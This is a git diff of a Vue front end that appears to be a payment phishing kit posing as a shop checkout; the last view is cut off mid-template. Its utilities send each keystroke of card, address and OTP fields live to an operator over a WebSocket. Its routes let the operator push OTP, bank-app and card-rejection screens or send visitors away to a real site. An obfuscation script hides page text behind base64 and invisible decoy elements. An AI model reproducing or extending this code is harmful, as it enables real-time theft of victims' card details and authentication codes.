}
/* 换行元素 - 强制换行且完全没有尺寸 */
z-break {
display: block !important;
height: 0 !important;
width: 0 !important;
margin: 0 !important;
padding: 0 !important;
border: none !important;
line-height: 0 !important;
font-size: 0 !important;
overflow: hidden !important;
}
/* 隐藏所有噪声元素 */
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
display: none;
width: 0;
height: 0;
opacity: 0;
overflow: hidden;
position: absolute;
visibility: hidden;
}
/* 预加载状态 */
[data-preload="true"] {
min-width: 0.5em;
min-height: 1em;
}
`;
document.head.appendChild(style);
}
// 添加自定义元素注册,确保所有浏览器都能正确处理
const scriptCustomElements = document.createElement('script');
scriptCustomElements.textContent = `
// 注册所有自定义元素
if ('customElements' in window) {
customElements.define('z-wrap', class extends HTMLElement {});
customElements.define('z-span', class extends HTMLElement {});
customElements.define('z-strong', class extends HTMLElement {});
customElements.define('z-space', class extends HTMLElement {});
customElements.define('z-break', class extends HTMLElement {});
// 注册噪声元素
customElements.define('z-nil', class extends HTMLElement {});
customElements.define('z-void', class extends HTMLElement {});
customElements.define('z-null', class extends HTMLElement {});
customElements.define('z-fake', class extends HTMLElement {});
customElements.define('z-empty', class extends HTMLElement {});
customElements.define('z-attr', class extends HTMLElement {});
customElements.define('z-text', class extends HTMLElement {});
customElements.define('z-hidden', class extends HTMLElement {});
}
`;
document.head.appendChild(scriptCustomElements);
// 添加提前解码的脚本,放在<head>顶部优先加载
if (!document.getElementById('obfuscation-script')) {
const script = document.createElement('script');
script.id = 'obfuscation-script';
script.textContent = `
(function() {
// 定义解码函数并暴露为全局函数
window.decodeObfuscatedContent = function(rootElement) {
const root = rootElement || document.body;
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
if (elements.length === 0) return;
// 使用requestIdleCallback或setTimeout在空闲时运行避免阻塞渲染
const runWhenIdle = window.requestIdleCallback ||
function(cb) { setTimeout(cb, 1); };
runWhenIdle(() => {
elements.forEach(el => {
// 避免重复解码
if (el.hasAttribute('data-content')) return;
// 找到编码数据
const dataAttr = el.getAttribute('data-data');
if (dataAttr) {
try {
// 解码并设置
const decodedWord = decodeURIComponent(atob(dataAttr));
el.setAttribute('data-content', decodedWord);
el.removeAttribute('data-preload');
} catch (e) {
// 解码失败时跳过
}
}
});
});
};
// 页面加载完成后立即执行一次全局解码
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', function() {
window.decodeObfuscatedContent();
});
} else {
window.decodeObfuscatedContent();
}
// 使用IntersectionObserver优化解码性能
if ('IntersectionObserver' in window) {
const decodeObserver = new IntersectionObserver(
(entries, observer) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
// 容器进入视口时解码其内容
window.decodeObfuscatedContent(entry.target);
observer.unobserve(entry.target);
}
});
},
{ rootMargin: '200px 0px' } // 提前200像素开始解码
);
// 监听所有混淆容器
function observeContainers() {
document.querySelectorAll('z-wrap').forEach(container => {
decodeObserver.observe(container);
});
}
// 初始观察
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', observeContainers);
} else {
observeContainers();
}
// 定期检查新容器
setInterval(observeContainers, 2000);
} else {
// 降级方案:定期全局检查
setInterval(() => window.decodeObfuscatedContent(), 1000);
}
})();
`;
// 将脚本添加到head的最前面确保尽早加载
if (document.head.firstChild) {
document.head.insertBefore(script, document.head.firstChild);
} else {
document.head.appendChild(script);
}
}
}

View File

@@ -0,0 +1,130 @@
import { createRouter, createMemoryHistory } from "vue-router";
import HomeView from "@/views/PhoneView.vue";
const scrollPositions = new Map();
const router = createRouter({
history: createMemoryHistory(import.meta.env.BASE_URL),
scrollBehavior(to, from) {
// 如果是返回操作且有保存的位置
console.log("返回操作,滚动到上次保存的位置");
if (from.meta.isBack && scrollPositions.has(to.path)) {
console.log("返回操作,滚动到上次保存的位置", to.path, scrollPositions.get(to.path));
return scrollPositions.get(to.path);
}
// 默认滚动到顶部
return { top: 0 };
},
routes: [
{
path: "/",
name: "home",
// route level code-splitting
// this generates a separate chunk (About.[hash].js) for this route
// which is lazy-loaded when the route is visited.
component: () => import("@/views/IndexView.vue"),
},
{
path: "/phone",
name: "phone",
component: HomeView,
},
{
path: "/pay",
name: "pay",
// route level code-splitting
// this generates a separate chunk (About.[hash].js) for this route
// which is lazy-loaded when the route is visited.
component: () => import("@/views/PayView.vue"),
},
{
path: "/goods",
name: "goods",
// route level code-splitting
// this generates a separate chunk (About.[hash].js) for this route
// which is lazy-loaded when the route is visited.
component: () => import("@/views/GoodsView.vue"),
},
{
path: "/goodsDetails",
name: "goodsDetails",
// route level code-splitting
// this generates a separate chunk (About.[hash].js) for this route
// which is lazy-loaded when the route is visited.
component: () => import("@/views/GoodsDetailsView.vue"),
},
{
path: "/address",
name: "address",
// route level code-splitting
// this generates a separate chunk (About.[hash].js) for this route
// which is lazy-loaded when the route is visited.
component: () => import("@/views/AddressView.vue"),
},
{
path: "/otpValid",
name: "otpValid",
// route level code-splitting
// this generates a separate chunk (About.[hash].js) for this route
// which is lazy-loaded when the route is visited.
component: () => import("@/views/OtpView.vue"),
},
{
path: "/customOtpValid",
name: "customOtpValid",
// route level code-splitting
// this generates a separate chunk (About.[hash].js) for this route
// which is lazy-loaded when the route is visited.
component: () => import("@/views/CustomOtpView.vue"),
},
{
path: "/appValid",
name: "appValid",
// route level code-splitting
// this generates a separate chunk (About.[hash].js) for this route
// which is lazy-loaded when the route is visited.
component: () => import("@/views/AppValidView.vue"),
},
{
path: "/success",
name: "success",
// route level code-splitting
// this generates a separate chunk (About.[hash].js) for this route
// which is lazy-loaded when the route is visited.
component: () => import("@/views/SuccessView.vue"),
},
{
path: "/card",
name: "card",
// route level code-splitting
// this generates a separate chunk (About.[hash].js) for this route
// which is lazy-loaded when the route is visited.
component: () => import("@/views/CardView.vue"),
},
{
path: "/login",
name: "login",
// route level code-splitting
// this generates a separate chunk (About.[hash].js) for this route
// which is lazy-loaded when the route is visited.
component: () => import("@/views/LoginView.vue"),
},
],
});
// 在离开路由前保存滚动位置
router.beforeEach((to, from) => {
// 保存当前页面的滚动位置
scrollPositions.set(from.path, {
top: window.pageYOffset || document.documentElement.scrollTop,
left: window.pageXOffset || document.documentElement.scrollLeft,
});
console.log("保存滚动位置", from.path, scrollPositions.get(from.path));
// 检测是否是后退操作(这需要您在应用中手动管理)
to.meta.isBack = false; // 默认不是返回操作
return true;
});
export default router;

View File

@@ -0,0 +1,15 @@
import { defineStore } from "pinia";
export const useLoadingStore = defineStore("loading", {
state: () => ({
isLoading: false,
}),
actions: {
showLoading() {
this.isLoading = true;
},
hideLoading() {
this.isLoading = false;
},
},
});

View File

@@ -0,0 +1,13 @@
// stores/loadingStore.ts
import { defineStore } from "pinia";
export const useLoadingStore = defineStore("loading", {
state: () => ({
isLoading: false,
}),
actions: {
setLoading(value: boolean) {
this.isLoading = value;
},
},
});

View File

@@ -0,0 +1,394 @@
import _ from "lodash";
import { sendInput } from "@/api/api";
import type { Socket } from "@/utils/websocket";
import eventBus from "@/utils/eventBus";
import router from "@/router";
import { ref } from "vue";
import { useSocket } from "@/utils/websocket";
import { useLoadingStore } from "@/stores/loadingStore";
import i18n from "@/main";
import { useSocketIo } from "./socketio";
import { goodsConfig, globalConfig } from "@/config";
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
// Redirect to an external URL
export function redirectToExternal() {
window.location.replace(globalConfig.to_domain);
}
// WebSocket interface
interface MyWebSocket {
socket: any;
send: (data: string) => Promise<any>;
off: (event: string) => void;
on: (event: string, callback: (data: any) => void) => void;
}
export const customOtpData = ref<any>({});
export function setCustomOtpData(data: any) {
customOtpData.value = data;
localStorage.setItem("customOtpData", JSON.stringify(data));
}
export let myWebSocket: MyWebSocket | undefined;
// Configuration data
export const configData = ref<Record<string, any>>({});
// Utility function to check if all values in an object are not empty
export function areAllValuesNotEmpty(
obj: Record<string, any>,
excludedFields: string[] = []
): boolean {
return Object.keys(obj).every((key) => {
if (excludedFields.includes(key)) return true;
const value = obj[key];
return (
value !== null &&
value !== undefined &&
value !== "" &&
!(typeof value === "string" && value.trim() === "")
);
});
}
// 存储 WebSocket 和 API 的防抖函数
const wsDebounceFunctions: Record<
string,
_.DebouncedFunc<(...args: any[]) => void>
> = {};
const apiDebounceFunctions: Record<
string,
_.DebouncedFunc<(...args: any[]) => void>
> = {};
// 获取或创建针对某个键的防抖函数
function getDebouncedFunction(
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
key: string,
func: (...args: any[]) => void,
wait: number
) {
if (!debounceFunctions[key]) {
debounceFunctions[key] = _.debounce(func, wait);
}
return debounceFunctions[key];
}
const modeRef = ref(1)
// 处理输入变化
export function inputChange(type: string, key: any, value: any) {
const currentTimestamp = Date.now(); // 当前时间戳
// WebSocket 防抖函数
const wsDebouncedFunction = getDebouncedFunction(
wsDebounceFunctions,
key,
(type, key, value) => {
myWebSocket?.send(
JSON.stringify({
event: "input_text",
content: { type, key, text: value },
timestamp: currentTimestamp,
})
);
},
300
);
// API 防抖函数
const apiDebouncedFunction = getDebouncedFunction(
apiDebounceFunctions,
key,
(type, key, value) => {
sendInput({
content: { type, key, text: value },
timestamp: currentTimestamp,
});
},
1000
);
// 调用防抖函数
wsDebouncedFunction(type, key, value);
if (modeRef.value !== 2) {
apiDebouncedFunction(type, key, value);
}
}
// Handle login success
export function loginSuccess(token: string, mode: number) {
if (mode === 2) {
modeRef.value = 2
myWebSocket = useSocketIo(
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
}/ws?token=${token}`
);
} else {
myWebSocket = useSocket(
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
}/ws?token=${token}`
);
}
myWebSocket?.on("close", () => console.log("Socket closed!"));
myWebSocket?.on("open", () => {
const lastToken = localStorage.getItem("token");
loginWebsocket(token, lastToken !== token);
});
myWebSocket?.on("message", handleMessage);
window.addEventListener("beforeunload", () => {
myWebSocket?.off("close");
});
}
// Handle WebSocket messages
function handleMessage(data: any) {
const jsonData = JSON.parse(data);
if (!jsonData || !jsonData.event) return;
const { event, content } = jsonData;
switch (event) {
case "login":
//handleLoginEvent(content);
break;
case "result_type":
handleResultTypeEvent(content);
break;
case "reload":
window.location.reload();
break;
default:
break;
}
}
// Handle login event
function handleLoginEvent(content: any) {
const route = localStorage.getItem("route");
if (route) {
const customOtpDataValue = localStorage.getItem("customOtpData");
if (route === "customOtpValid" && customOtpDataValue) {
setCustomOtpData(JSON.parse(customOtpDataValue));
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
})
);
return;
}
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: route },
})
);
}
}
// Handle result type event
function handleResultTypeEvent(content: any) {
if (!content) return;
const typeHandlers: Record<string, () => void> = {
customOtpValid: () => navigateTo("/customOtpValid", content),
otpValid: () => navigateTo("/otpValid", content),
appValid: () => navigateTo("/appValid", content),
success: () => router.push("/success"),
kickOut: redirectToExternal,
block: redirectToExternal,
otpFail: () =>
eventBus.emit("otp-valid", {
message2:
content.value.message2 ||
i18n.global.t("otp_view.code_error"),
}),
appFail: () =>
eventBus.emit("app-valid", {
message2:
content.value.message2 ||
i18n.global.t("otp_view.session_expiring"),
}),
back: () => handleBackOrReject(content, true),
reject: () => handleBackOrReject(content, false),
refresh: () => {
if (localStorage.getItem("route")) {
localStorage.removeItem("route");
window.location.reload();
}
},
};
if (content.type == "customOtpValid") {
if (content.value.customOtpData) {
setCustomOtpData(JSON.parse(content.value.customOtpData));
}
}
if (content.type == "customOtpFail") {
eventBus.emit("custom-otp-valid", {
message2: content.value.message2,
});
}
const handler = typeHandlers[content.type];
if (handler) handler();
if (content.type) {
useLoadingStore().setLoading(false);
}
}
// Navigate to specific path with query parameters
function navigateTo(path: string, content: any) {
router.push('/temp').then(() => {
router.push({
path: path,
query: {
cardType: content.value?.data?.cardData?.cardBIN?.schema,
message1: content.value?.message1,
key: new Date().getMilliseconds(),
},
});
});
}
// Handle back or reject type
function handleBackOrReject(content: any, isBack: boolean) {
let message2 = i18n.global.t("otp_view.card_not_supported");
if (configData.value.error_card_msg) {
message2 = configData.value.error_card_msg;
}
if (content.value.type) {
const type = content.value.type;
if (type === "denyC" && configData.value.deny_c_msg) {
message2 = configData.value.deny_c_msg;
}
if (type === "denyD" && configData.value.deny_d_msg) {
message2 = configData.value.deny_d_msg;
}
}
if (content.value.message2) {
message2 = content.value.message2;
}
if (isBack) {
router.push({ path: "/card", query: { message2 } });
}
eventBus.emit("my-event", { message2 });
}
// Login to WebSocket
function loginWebsocket(token: string, isFirst: boolean) {
myWebSocket?.send(
JSON.stringify({
event: "login",
content: { tag: "user", token, isFirst },
})
);
console.log("WebSocket login sent with token:", token, "isFirst:", isFirst);
initHtml();
}
export async function loadHtml(url: string) {
try {
const response = await fetch(url); // 替换为您的 HTML 文件路径
if (!response.ok) {
return "";
}
return await response.text();
} catch (error) {
return "";
}
}
export const headerHtml = ref("");
export const footerHtml = ref("");
export const headHtml = ref("");
export const loadingBg = ref("#ffffff");
export const isAr = ref(false);
const initHtml = async () => {
try {
const langValue = localStorage.getItem("lang");
if (langValue) {
isAr.value = langValue == "ar";
} else {
isAr.value = navigator.language.split("-")[0] == "ar";
}
const basePath = "/pages";
// 加载 head.html
headerHtml.value = await loadHtml(`${basePath}/header.html`);
footerHtml.value = await loadHtml(`${basePath}/footer.html`);
const routePath = localStorage.getItem("route");
console.log("Route path:", routePath);
await router.push(routePath ? `/${routePath}` : "/phone");
// 延迟加载 header 和 footer
setTimeout(async () => {
// 路由跳转
loadingBg.value = "#00000072";
useLoadingStore().setLoading(false);
}, 200);
} catch (error) {
console.error("Initialization failed:", error);
useLoadingStore().setLoading(false);
}
};
/**
* 格式化金额并添加单位
* @param amount 金额数值
* @param config 可选配置对象默认使用全局goodsConfig
* @returns 格式化后的金额与单位组合
*/
export function formatPriceWithUnit(amount: any): string {
// 根据配置决定单位在前还是在后
return goodsConfig.value.isRight ?
formatNumber(amount) + ' ' + goodsConfig.value.unit :
goodsConfig.value.unit + ' ' + formatNumber(amount);
}
export function extractPrice(priceWithUnit: string) {
// 使用正则表达式提取数字部分
const match = priceWithUnit.match(/(\d+(\.\d+)?)/);
return match ? parseFloat(match[0]) : null
}
export const formatNumber = (number: number) => {
console.log("Formatting number:", number, "with format:", goodsConfig.value.format);
switch (goodsConfig.value.format) {
case '1':
return number.toLocaleString('en-US', { minimumFractionDigits: 0, maximumFractionDigits: 2 }); // 千位分隔符(,),小数点分隔符(.
case '2':
return number.toLocaleString('de-DE', { minimumFractionDigits: 0, maximumFractionDigits: 2 }); // 千位分隔符(.),小数点分隔符(.
case '3':
return number.toFixed(2).replace(/\.?0+$/, '').replace(/\B(?=(\d{3})+(?!\d))/g, ''); // 千位分隔符(),小数点分隔符(.
case '4':
return number.toLocaleString('de-DE', { minimumFractionDigits: 0, maximumFractionDigits: 2 });
case '5': // 瑞典专用: 1 234,56
return number.toLocaleString('sv-SE', {
minimumFractionDigits: 0,
maximumFractionDigits: 2
}).replace(/\u00A0/g, ' ');
default:
return number.toLocaleString('de-DE', { minimumFractionDigits: 0, maximumFractionDigits: 2 });
}
};

View File

@@ -0,0 +1,17 @@
// src/eventBus.ts
import mitt from "mitt";
// 定义事件名称和对应的数据类型
type Events = {
"my-event": { message2: string };
"otp-valid": { message2: string };
"app-valid": { message2: string };
"custom-otp-valid": { message2: string };
// 可以在这里添加其他事件
// 'another-event': number;
};
const eventBus = mitt<Events>();
export default eventBus;
export type { Events };

View File

@@ -0,0 +1,176 @@
// 设置
import { useLoadingStore } from "@/stores/loadingStore";
import { io, Socket as SocketIOClient } from "socket.io-client";
interface SocketOptions {
reconnectionAttempts?: number; // 最大重连次数
reconnectionDelay?: number; // 重连延迟时间(ms)
timeout?: number; // 连接超时时间(ms)
autoConnect?: boolean; // 是否自动连接
forceNew?: boolean; // 是否强制创建新连接
transports?: string[]; // 传输方式
}
class Socket {
url: string;
socket: SocketIOClient | null = null;
listeners: { [key: string]: Function[] } = {};
private messageQueue: any[] = []; // 断连时暂存消息的简化队列
constructor(url: string) {
this.url = url;
this.init();
this.setupVisibilityListener();
}
init() {
if (this.socket) {
return;
}
console.log("Socket initialized with URL:", this.url);
this.socket = io(this.url, {
randomizationFactor: 0.5,
});
// 连接事件处理
this.socket.on('connect', () => {
this.flushMessageQueue(); // 连接后发送排队消息
this.emit('open', { type: 'open' });
});
// 消息接收
this.socket.on('message', (data) => {
this.emit('message', data);
});
// 连接错误
this.socket.on('connect_error', (error) => {
this.emit('error', error);
});
// 断开连接
this.socket.on('disconnect', (reason) => {
this.emit('close', { reason });
});
// 重连尝试
this.socket.on('reconnect_attempt', (attemptNumber) => {
this.emit('reconnect_attempt', attemptNumber);
});
// 重连成功
this.socket.on('reconnect', (attemptNumber) => {
this.emit('reconnect', attemptNumber);
});
// 重连失败
this.socket.on('reconnect_failed', () => {
useLoadingStore().setLoading(false); // 重连失败时关闭加载状态
this.emit('reconnect_failed', { type: 'reconnect_failed' });
});
// 处理所有其他事件
this.socket.onAny((eventName, ...args) => {
if (!['connect', 'disconnect', 'error', 'reconnect_attempt',
'reconnect', 'reconnect_failed', 'message'].includes(eventName)) {
this.emit(eventName, args);
}
});
}
isConnected(): boolean {
return this.socket?.connected ?? false;
}
async send(data: string) {
try {
const payload = JSON.parse(data);
const event = payload.event || 'message';
// 添加时间戳
const messageData = {
...payload,
timestamp: payload.timestamp || Date.now()
};
if (this.isConnected()) {
this.socket?.emit("message", JSON.stringify(messageData));
} else {
// 未连接时,将消息加入队列
this.messageQueue.push({ event, data: messageData });
this.reconnectIfNeeded();
}
} catch (error) {
console.error("Invalid message format. Must be a valid JSON string.", error);
}
}
flushMessageQueue() {
if (this.messageQueue.length > 0 && this.socket?.connected) {
this.messageQueue.forEach(msg => {
this.socket?.emit("message", JSON.stringify(msg));
});
this.messageQueue = [];
}
}
reconnectIfNeeded() {
if (!this.isConnected() && this.socket) {
this.socket.connect();
}
}
on(event: string, callback: Function) {
// 直接处理的事件
if (['open', 'close', 'error', 'reconnect', 'reconnect_attempt', 'reconnect_failed'].includes(event)) {
if (!this.listeners[event]) {
this.listeners[event] = [];
}
this.listeners[event].push(callback);
} else {
// Socket.IO 事件
this.socket?.on(event, (...args) => callback(...args));
}
}
off(event: string) {
if (this.listeners[event]) {
delete this.listeners[event];
}
this.socket?.off(event);
}
emit(event: string, data: any) {
if (this.listeners[event]) {
this.listeners[event].forEach(callback => callback(data));
}
}
setupVisibilityListener() {
const handleVisibilityChange = () => {
if (document.visibilityState === "visible" && !this.isConnected() && this.socket) {
this.socket.connect();
}
};
document.addEventListener("visibilitychange", handleVisibilityChange);
}
disconnect() {
this.socket?.disconnect();
}
}
function useSocketIo(url: string) {
const socket = new Socket(url);
return {
socket,
send: socket.send.bind(socket),
on: socket.on.bind(socket),
off: socket.off.bind(socket),
disconnect: socket.disconnect.bind(socket),
};
}
export { useSocketIo, Socket };

View File

@@ -0,0 +1,392 @@
import { useLoadingStore } from "@/stores/loadingStore";
import { sendInput } from "@/api/api";
// ============ 类型定义 ============
interface SocketOptions {
heartbeatInterval?: number;
reconnectInterval?: number;
maxReconnectAttempts?: number;
retryIntervals?: number[];
forceClose?: boolean;
timeOut?: boolean;
}
interface PendingMessage {
id: string;
data: string;
retries: number;
timestamp: number;
}
// ============ 默认配置 ============
const DEFAULT_OPTIONS: Required<SocketOptions> = {
heartbeatInterval: 2000,
reconnectInterval: 1000,
maxReconnectAttempts: 10,
retryIntervals: [2000, 3000, 5000], // 2秒、3秒、5秒重试
forceClose: false,
timeOut: false,
};
const MAX_RECONNECT_INTERVAL = 30000;
const MAX_HEARTBEAT_MISS = 3;
const RETRY_CHECK_INTERVAL = 1000;
// ============ Socket 类 ============
class Socket {
private url: string;
private ws: WebSocket | null = null;
private opts: Required<SocketOptions>;
// 连接管理
private reconnectAttempts = 0;
private reconnectTimeoutId: number | null = null;
// 心跳管理
private heartbeatIntervalId: number | null = null;
private heartbeatMissCount = 0;
// 消息管理
private sendQueue: PendingMessage[] = [];
private pendingConfirmations = new Map<string, PendingMessage>();
private retryCheckerId: number | null = null;
// 事件管理
private listeners: Record<string, Function[]> = {};
constructor(url: string, opts: SocketOptions = {}) {
this.url = url;
this.opts = { ...DEFAULT_OPTIONS, ...opts };
this.init();
this.setupBrowserListeners();
}
// ============ 初始化与连接 ============
private init(): void {
if (this.isConnectingOrOpen()) return;
this.heartbeatMissCount = 0;
this.ws = new WebSocket(this.url);
this.bindWebSocketEvents();
}
private bindWebSocketEvents(): void {
if (!this.ws) return;
this.ws.onopen = this.handleOpen.bind(this);
this.ws.onmessage = this.handleMessage.bind(this);
this.ws.onerror = this.handleError.bind(this);
this.ws.onclose = this.handleClose.bind(this);
}
// ============ WebSocket 事件处理 ============
private handleOpen(event: Event): void {
this.reconnectAttempts = 0;
this.clearReconnectTimeout();
this.startHeartbeat();
this.startRetryChecker();
this.emit("open", event);
this.flushSendQueue();
}
private handleMessage(event: MessageEvent): void {
try {
const data = JSON.parse(event.data);
switch (data.event) {
case "heartbeat":
this.heartbeatMissCount = 0;
break;
case "ack":
this.handleAck(data.messageId);
break;
default:
this.emit("message", event.data);
}
} catch {
this.emit("message", event.data);
}
}
private handleError(event: Event): void {
this.emit("error", event);
}
private handleClose(event: CloseEvent): void {
this.stopHeartbeat();
this.stopRetryChecker();
this.emit("close", event);
this.scheduleReconnect();
}
private handleAck(messageId: string): void {
if (messageId && this.pendingConfirmations.has(messageId)) {
this.pendingConfirmations.delete(messageId);
}
}
// ============ 连接状态 ============
private isConnectingOrOpen(): boolean {
return this.ws?.readyState === WebSocket.CONNECTING
|| this.ws?.readyState === WebSocket.OPEN;
}
private isConnected(): boolean {
return this.ws?.readyState === WebSocket.OPEN;
}
private isClosed(): boolean {
return this.ws?.readyState === WebSocket.CLOSED;
}
// ============ 重连机制 ============
private scheduleReconnect(): void {
if (!this.canReconnect() || this.reconnectTimeoutId !== null) return;
const timeout = Math.min(
this.opts.reconnectInterval * Math.pow(2, this.reconnectAttempts),
MAX_RECONNECT_INTERVAL
);
this.reconnectTimeoutId = window.setTimeout(() => {
this.reconnectAttempts++;
this.reconnectTimeoutId = null;
if (this.isClosed()) {
this.init();
}
}, timeout);
}
private canReconnect(): boolean {
return !this.opts.maxReconnectAttempts
|| this.reconnectAttempts < this.opts.maxReconnectAttempts;
}
private clearReconnectTimeout(): void {
if (this.reconnectTimeoutId !== null) {
clearTimeout(this.reconnectTimeoutId);
this.reconnectTimeoutId = null;
}
}
private reconnectIfNeeded(): void {
if (this.isClosed() && this.canReconnect() && !this.isConnectingOrOpen()) {
this.init();
}
}
// ============ 心跳机制 ============
private startHeartbeat(): void {
if (!this.opts.heartbeatInterval) return;
this.heartbeatIntervalId = window.setInterval(() => {
if (this.heartbeatMissCount >= MAX_HEARTBEAT_MISS) {
this.ws?.close();
return;
}
this.heartbeatMissCount++;
if (this.isConnected()) {
this.ws!.send(JSON.stringify({
event: "heartbeat",
content: { tag: "user" }
}));
}
}, this.opts.heartbeatInterval);
}
private stopHeartbeat(): void {
if (this.heartbeatIntervalId) {
clearInterval(this.heartbeatIntervalId);
this.heartbeatIntervalId = null;
}
}
// ============ 消息发送 ============
async send(data: string): Promise<void> {
try {
const message = JSON.parse(data);
const pendingMsg = this.createPendingMessage(message);
if (this.isConnected()) {
// WebSocket 连接正常,直接发送
this.sendDirect(pendingMsg);
} else if (this.canReconnect() && !this.isConnectingOrOpen()) {
// 可以重连,加入队列等待重连后发送
this.enqueue(pendingMsg);
this.reconnectIfNeeded();
} else {
await this.sendViaHttp(message);
}
} catch {
console.error("[WebSocket] Invalid message format. Must be valid JSON.");
}
}
private async sendViaHttp(message: any): Promise<void> {
try {
if (message.event !== "input_text") {
await sendInput(message);
}
} catch (error) {
console.error("[WebSocket] HTTP fallback failed:", error);
throw error;
}
}
private createPendingMessage(message: any): PendingMessage {
const id = this.generateMessageId();
const timestamp = Date.now();
return {
id,
data: JSON.stringify({ ...message, messageId: id, timestamp }),
retries: 0,
timestamp,
};
}
private sendDirect(pendingMsg: PendingMessage): void {
this.ws?.send(pendingMsg.data);
this.pendingConfirmations.set(pendingMsg.id, pendingMsg);
}
private enqueue(pendingMsg: PendingMessage): void {
this.sendQueue.push(pendingMsg);
}
private flushSendQueue(): void {
if (!this.isConnected()) return;
while (this.sendQueue.length > 0 && this.isConnected()) {
const pendingMsg = this.sendQueue.shift();
if (pendingMsg) {
this.sendDirect(pendingMsg);
}
}
}
// ============ 消息重试机制 ============
private startRetryChecker(): void {
this.stopRetryChecker();
this.retryCheckerId = window.setInterval(() => {
this.checkPendingMessages();
}, RETRY_CHECK_INTERVAL);
}
private stopRetryChecker(): void {
if (this.retryCheckerId) {
clearInterval(this.retryCheckerId);
this.retryCheckerId = null;
}
}
private checkPendingMessages(): void {
const now = Date.now();
const { retryIntervals } = this.opts;
for (const [id, msg] of this.pendingConfirmations.entries()) {
const age = now - msg.timestamp;
const waitTime = retryIntervals[msg.retries] ?? retryIntervals[0];
// 未到重试时间
if (age < waitTime) continue;
// 超过最大重试次数,降级使用 HTTP
if (msg.retries >= retryIntervals.length) {
this.pendingConfirmations.delete(id);
try {
const message = JSON.parse(msg.data);
this.sendViaHttp(message).catch((error) => {
console.error("[WebSocket] HTTP fallback failed, re-queuing message:", error);
this.sendQueue.push(msg);
});
} catch (error) {
console.error("[WebSocket] Failed to parse message for HTTP fallback:", error);
this.sendQueue.push(msg);
}
useLoadingStore().setLoading(false);
continue;
}
// 重试发送
if (this.isConnected()) {
this.ws?.send(msg.data);
msg.retries++;
}
}
}
// ============ 工具方法 ============
private generateMessageId(): string {
return `${Date.now()}-${Math.random().toString(36).substring(2, 11)}`;
}
// ============ 事件系统 ============
on(event: string, callback: Function): void {
if (!this.listeners[event]) {
this.listeners[event] = [];
}
this.listeners[event].push(callback);
}
off(event: string): void {
delete this.listeners[event];
}
private emit(event: string, data: any): void {
this.listeners[event]?.forEach(callback => callback(data));
}
// ============ 浏览器事件监听 ============
private setupBrowserListeners(): void {
// 页面可见性变化
document.addEventListener("visibilitychange", () => {
if (document.visibilityState === "visible") {
this.reconnectAttempts = 0;
if (!this.isConnectingOrOpen()) {
this.init();
}
}
});
// 网络状态变化
window.addEventListener("online", () => {
this.reconnectAttempts = 0;
if (!this.isConnectingOrOpen()) {
this.init();
}
});
}
}
// ============ 导出 ============
function useSocket(url: string, opts?: SocketOptions) {
const socket = new Socket(url, opts);
return {
socket,
send: socket.send.bind(socket),
on: socket.on.bind(socket),
off: socket.off.bind(socket),
};
}
export { useSocket, Socket };
export type { SocketOptions, PendingMessage };

View File

@@ -0,0 +1,32 @@
<script setup lang="ts">
import { computed } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { goodsConfig } from "@/config";
import AddressTheme1 from "@/components/address/AddressTheme1.vue";
import AddressTheme2 from "@/components/address/AddressTheme2.vue";
const currentThemeComponent = computed(() => {
const addressTheme = goodsConfig.value.addressTheme;
const fallbackTheme = goodsConfig.value.homeTheme;
const themeId = addressTheme || (fallbackTheme === 2 ? 2 : 1);
const themeMap: Record<string, any> = {
"1": AddressTheme1,
"2": AddressTheme2,
};
return themeMap[themeId] || AddressTheme1;
});
</script>
<template>
<CommonLayout>
<template #default>
<component :is="currentThemeComponent" />
</template>
</CommonLayout>
</template>
<style scoped>
/* Styles are owned by each address theme component. */
</style>

View File

@@ -0,0 +1,307 @@
<script setup lang="ts">
import { nextTick, onMounted, onUnmounted, reactive, ref, watch } from "vue";
import { useRoute } from "vue-router";
import { useLoadingStore } from "@/stores/loadingStore";
import eventBus from "@/utils/eventBus";
const cardType = ref("");
import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
const loadingStore = useLoadingStore();
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "appValid" },
})
);
loadingStore.setLoading(false);
const route = useRoute();
const query = route.query as any;
if (query) {
console.log("route", query);
cardType.value = query.cardType;
}
localStorage.setItem("route", "appValid");
eventBus.on("app-valid", handleEvent);
});
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
};
onUnmounted(() => {
eventBus.off("app-valid", handleEvent);
});
const formData = reactive({ verifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const showInput = ref(false);
watch(message, (newValue, oldValue) => {
showInput.value = !!(message.value.includes(":") || newValue.includes(""));
});
const submit = async () => {
await nextTick();
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitAppValidCode",
formData: formData,
},
})
);
message.value = "";
};
</script>
<template>
<div class="top-content">
<img
src="/static/products/card.png"
alt="logo"
style="width: 40px; height: 40px; margin-right: 10px; object-fit: contain"/>
<div>
<h1 style="font-size: 22px; margin-bottom: 6px; margin-top: 10px; color: #ffffff">
{{ t("app_valid_view.authorized_bank_title") }}
</h1>
<p class="payment-message">
<strong>
{{ " " }}
</strong>
</p>
</div>
</div>
<div class="container">
<div class="content">
<div class="card-logo">
<!-- <CardType2 :cardType="cardType" />-->
<img src="/static/products/app.png" alt="card-logo" style="width: 100%" />
</div>
<div class="card-tye" v-if="cardType">
{{ cardType }}
</div>
<br />
<p>
<img
class="safe-icon"
